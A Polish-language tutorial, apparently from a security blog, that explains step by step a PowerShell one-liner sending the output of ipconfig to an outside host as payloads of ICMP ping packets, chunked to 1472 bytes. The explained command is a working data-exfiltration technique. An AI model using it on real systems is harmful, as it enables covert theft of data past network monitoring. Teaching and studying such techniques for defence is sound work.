Eksfiltracja po ICMP w jednym wierszu
To zdecydowanie jeden z moich ulubionych, jeśli nie ulubiony oneliner w PowerShell-u. Spowoduje on wysłanie dowolnych danych (w naszym przypadku wynik polecenia ipconfig) jako payload pakietów ICMP Echo request, czyli dane zawarte w popularnym pingu.
Rozłóżmy go sobie na części pierwsze, bo dzieje się tutaj naprawdę sporo ciekawych rzeczy.
Jak to działa — krok po kroku
Rozłóżmy onelinera na czynniki pierwsze:
(ipconfig|Out-String)
tutaj uruchamiamy polecenie ipconfig, którego wynik wysyłamy do cmdletu Out-String, który spowoduje, że całość zostanie przekazana dalej jako łańcuch znaków. Gdybyśmy tego nie zrobili, przetwarzana byłaby linijka po linijce wyniku uruchomionego polecenia
-split "(?s)(.{1472})"
wejściowy string dzielimy separatorem zdefiniowany wskazanym wyrażeniem regularnym. W pierwszej części wyrażenia regularnego wykorzystujemy modyfikator (?s), by poinformować, że mamy do czynienia z tekstem jednolinijkowym, a więc w uproszczeniu, żeby znak nowego wiersza był takim samym znakiem jak każdy inny. Nasz separator to .{1472} czyli dowolne 1472 znaki. Dlaczego akurat 1472? Ponieważ zwyczajowo MTU czyli Maximum Transmission Unit, a więc maksymalna wielkość pakietu która nie spowoduje jego fragmentacji to 1500, natomiast nagłówek IP zajmuje 20 bajtów, nagłówek ICMP 8 i zostaje 1472 bajty na dane. Dodatkowo, separator ten zawaliśmy w nawiasie okrągłem: (.{1472}). Informuje to operator -split, by separatory również zostały zwrócone - bez tego kroku, uzyskalibyśmy wyłącznie puste linie.
-match "."
w wyniku poprzednich działań otrzymamy na przemian separator (1472 znaki) pusta linia, separator, pusta linia i tak dalej, dlatego wykorzystujemy operator -match, by przefiltrował nam zwracaną tablicę zwracając tylko te, które składają się z jakiegoś znaku, a więc pozbywamy się pustych linii.
%{ ... }
zapewne już pamięcie, % to alias na cmdlet ForEach-Object, który dla każdego elementu wejściowego tablicy uruchamia wskazany dalej blok kodu.
[Net.NetworkInformation.Ping]::new()
stwórz nowy obiekt klasy Net.NetworkInformation.Ping
.Send("alphasec.pl", 100, ([Text.Encoding]::UTF8).GetBytes($_))}
wyślij pakiet ICMP Echo request do wskazanego hosta, czekając maksymalnie 100ms na potencjalną odpowiedź. Jako payload użyj przetwarzanej linijki wejściowej zawaretej w zmiennej $_, konwertując ją wcześniej na bajty z wykorzystaniem kodowania UTF-8.